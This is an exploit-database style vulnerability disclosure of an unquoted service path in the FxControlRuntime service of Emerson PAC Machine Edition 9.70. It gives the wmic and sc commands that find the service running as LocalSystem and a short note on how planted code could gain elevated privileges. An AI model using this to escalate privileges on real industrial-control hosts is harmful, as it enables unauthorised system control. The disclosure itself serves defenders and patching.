Emerson PAC Machine Edition 9.70 Build 8595 - 'FxControlRuntime' Unquoted Service Path









# Exploit Title: Emerson PAC Machine Edition 9.70 Build 8595 - 'FxControlRuntime' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2019-11-17
# Vendor Homepage: https://www.emerson.com/en-us
# Software Link : https://www.opertek.com/descargar-software/?prc=_326
# Tested Version: 9.70 Build 8595
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "FxControlRuntime" |findstr /i /v """

FxControl Runtime	FxControlRuntime	C:\Program Files (x86)\Emerson\PAC Machine Edition\fxControl\Runtime\NT\FxControl.exe	Auto

# Service info:

C:\>sc qc FxControlRuntime
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FxControlRuntime
        TYPE               : 120  WIN32_SHARE_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Emerson\PAC Machine Edition\fxControl\Runtime\NT\FxControl.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : FxControl Runtime
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.